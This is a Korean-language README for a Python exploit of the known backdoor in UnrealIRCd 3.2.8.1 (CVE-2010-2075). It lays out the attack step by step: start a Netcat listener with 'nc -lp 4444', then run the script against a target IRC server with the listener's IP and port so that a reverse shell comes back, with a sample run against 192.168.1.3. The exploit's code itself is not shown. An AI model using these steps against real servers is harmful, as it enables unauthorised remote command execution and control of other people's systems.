UnrealIRCd 3.2.8.1 백도어 명령 실행

Python 3로 작성된 UnrealIRCd 3.2.8.1 백도어 명령 실행 익스플로잇 (CVE-2010-2075).

설명

UnrealIRCd 버전 3.2.8.1에는 원격 공격자가 임의의 명령을 실행할 수 있는 트로이 목마가 포함되어 있습니다 (CVE-2010-2075).

이 스크립트를 만들기 위해 Metasploit 페이로드 payload/cmd/unix/reverse_perl을 참조했습니다.

사용법

수신 호스트에서 Netcat 리스너를 시작합니다:

nc -lp 4444

다음 위치 인수를 제공하여 스크립트를 실행합니다:

python3 script.py <target> <tport> <listener> <lport>

• <target> 대상 호스트 IP 주소.
• <tport> 대상 호스트 포트 번호.
• <listener> 수신 호스트 IP 주소.
• <lport> 수신 호스트 포트 번호.

예제

로컬 머신에서 Netcat 리스너를 설정합니다:

nc -lp 4444

192.168.1.3 TCP 포트 6697에 있는 대상 머신에 대해 스크립트를 실행합니다:

python3 script.py 192.168.1.3 6697 192.168.1.2 4444

잠시 기다리면 Netcat 리스너가 리버스 셸을 받아야 합니다.